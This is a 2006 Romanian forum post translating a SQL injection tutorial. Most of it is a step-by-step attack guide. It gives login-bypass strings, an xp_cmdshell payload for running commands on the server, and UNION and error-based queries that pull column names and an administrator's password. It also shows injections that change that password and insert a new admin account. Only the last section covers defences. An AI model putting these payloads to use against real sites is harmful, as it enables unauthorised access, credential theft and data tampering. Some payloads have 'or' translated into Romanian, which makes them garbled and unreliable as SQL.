darkking Posted September 6, 2006 Report Posted September 6, 2006 ok, stiu ca s-a mai vorbit despre asa ceva, dar se pare ca o buna majoritate nu au inteles/s-au straduit sa inteleaga procesul. Prima si prima data va anunt ca trebuie sa aveti cunostiinte cel putin minime de SQL pentru a putea intelege efectiv.1. Ce este injectia SQL ? Este un truc de a interoga baza de date SQL prin intermedium paginii de web. Multe pagini primesc/accepta parametri de la utilizator si executa interogarile SQL in baza de date.2. De ce este nevoie ?Orice browser web.3. Ce trebuie sa cauti ?Incercati sa cautati orice pagina care va permite sa trimiteti date, exemplu: pagini de autentificare, cautare, feedback, cateodata pagini HTML care folosesc 'comanda' POST si trimit informatiile la o alta pagina ASP sau PHP. De aceeas nu o sa puteti vedea parametrii in URL. Desigur, puteti cauta in codul HTML al acelei pagini tag-ul "FORM". Este posibil sa gasiti ceva de genul:<FORM action=Search/search.asp method=post><input type=hidden name=A value=C></FORM>Orice intre tag-urile <FORM> si <FORM/> are potential care ne-ar putea fi de folos.4. Si daca nu gasesc nici o pagina de genul ?Ar trebui sa cauti pagini PHP, ASP, CGI, JSP. Cel mai bine sa fiti atneti la adresa URL care preia parametri.Exemplu:[url='http://pagina.php?id=1']http://pagina.php?id=1[/url]5. Cum testez daca este vulnerabil ?Incepeti cu un simplu trick folosing caracterul '. Introduceti ceva de genul:hi' sau 1=1--In pagina de autentificare, sau chiar in URL.nume: hi' sau 1=1--parola: hi' sau 1=1--[url='http://pagina.php?id=hi']http://pagina.php?id=hi[/url] sau id=1=1--Acest lucru il puteti face si la paginile in care sunt folosite tag-urile FORM, iar daca aveti noroc s-ar putea sa va logati fara a avea un nume de utilizator si o parola.6. Dar de ce hi' sau 1=1-- ?Sa ne uitam la un alt exemplu pentru a vedea de ce ' sau 1=1-- este important. In afara de faptul ca trecem de autentificare, este posibil sa mai avem acces si la alte informatii. Sa luam o pagina ASP care ne va lega de o alta prin urmatorul URL:http://pagina.asp?categorie=sexIn URL vedem variabila denumita 'categorie' si valoarea acesteia 'sex'. Pentru a face aceast asignare de valoare, in ASP se executa urmatoarele:v_cat = request("categoria")sqlstr="SELECT * FROM produs WHERE PCategory='" & v_cat & "'"set rs=conn.execute(sqlstr)Dupa cuma puteam vedea, variabila noastra va fi purtata prin v_cat si codul SQL va deveni:SELECT * FROM producs WHERE PCategory='sex'Interogarea va intoarce un rezultat continand unul sau mai multe randuri care se potrivesc conditiei WHERE, iar in acest caz 'sex'/Acum, sa presupunem ca schimbam URL'ul in ceva de genul:http://pagina.asp?categoria=sex' sau 1=1--Acum, variabila v_cat va fi egala cu "sex' sau 1=1--", si daca inlocuim in cod, vom avea:SELECT * FROM produs WHERE PCategory='sex' sau 1=1--'Acum, interogarea va selecta totul din tabela produse, chiar daca PCategory este egala cu 'sex' sau nu. Doua 'minusuri' (dash) va spune server-ului de SQL sa ignore restul interogarii. Uneori este posibil si prin folosirea '#'.In cazul in care nu este un server de SQL, sau nu poate fi ignorata restul interogarii, puteti incerca:' sau 'a'='aInterogarea SQL va deveni acum:SELECT * FROM produs WHERE PCategory='sex' sau 'a'='a'Va returna deasemenea acelasi rezultat.In functie de interogarea SQL, puteti incerca una din urmatoarele posibilitati:' sau 1=1--" sau 1=1--sau 1=1--' sau 'a'='a" sau "a"="a') sau ('a'='a7. Cum pot face 'remote execution' prin injectare SQL ?Daca este posibil sa injectam comenzi SQL, atunci este posibil sa executam orice interogare SQL dupa cum vrem. Instalarea default server-ului MSSQL ruleaza ca user SYSTEM, la fel si pe o parte din serverele de Unix. Deasemenea putem folosi functii stocate de sistem pentru a executa "remote exec." Exemplu:'; exec master..xp_cmdshell 'ping 10.10.1.2'--Pentru a verifica daca comanda a fost executata cu succes, se poate folosi functia tcpdump icmp pentru a vedea pachetele icmp de la 10.10.1.2.8. Cum primesc output (afisare) de la interogarea mea ?Se poate folosi sp_makewebtask pentru a scrie o interogare HTML:'; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"9. Cum sa preiau toate tabelele si cimpurile dintr-o baza de date? Putem folosi o alta tabela INFORMATION_SCHEMA.COLUMNS pentru a vedea toate campurile dintr-o tabela:http://index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--Rezultat:Output:Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5Acum ca avem numele primului camp, putem folosi NOT IN () pentru a prelua pe cel de-al doilea:http://index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--Output:Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5Continuam pana obtinem toate campurile.10. Cum putem prelua datele pe care le dorim ?Acum ca am aflat numele campurilor, puteam folosi aceeasi metoda pentru a prelua informatiile pe care le dorim din baza de date.Sa preluam login_name din tablea "admin_login" :http://index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--Output:Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5Acum stim ca este un administrator cu numele "neo". Acum ca sa preluam parola:http://index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--Output:Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5Si ne putem loga cu "neo" si "m4trix".11. Cum inserez/modific datele intro baza de date ?Dupa ce am prelua cu succes toata campurile unei tabele, este posibil sa modifica sau sa inseram informatii noi. De exemplu sa schimbam parola lui 'neo':http://index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--Pentru a introduce o noua inregistrare in baza de date:http://index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--Si acum ne putem loga cu "neo2" si parola "newpas5". 12. Cum ma protejez ?Filtrati caracterele ca ' , " , / , , | si chiar NULL in toate liniile din: - inserari de la utilizatori - parametri de la URL - valori cookiePentru valori numerice convertitile in INTEGER inainte de a la introduce in codul SQL sau folositi functia ISNUMERIC pentru a verifica.Schimbati privilegiile server-ului SQL folosind un alt user cu acces redus.Stergeti procedurile stocate pe care nu le folositi:master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtaskSucces Credits: www.securiteam.comTraducerea by me. Quote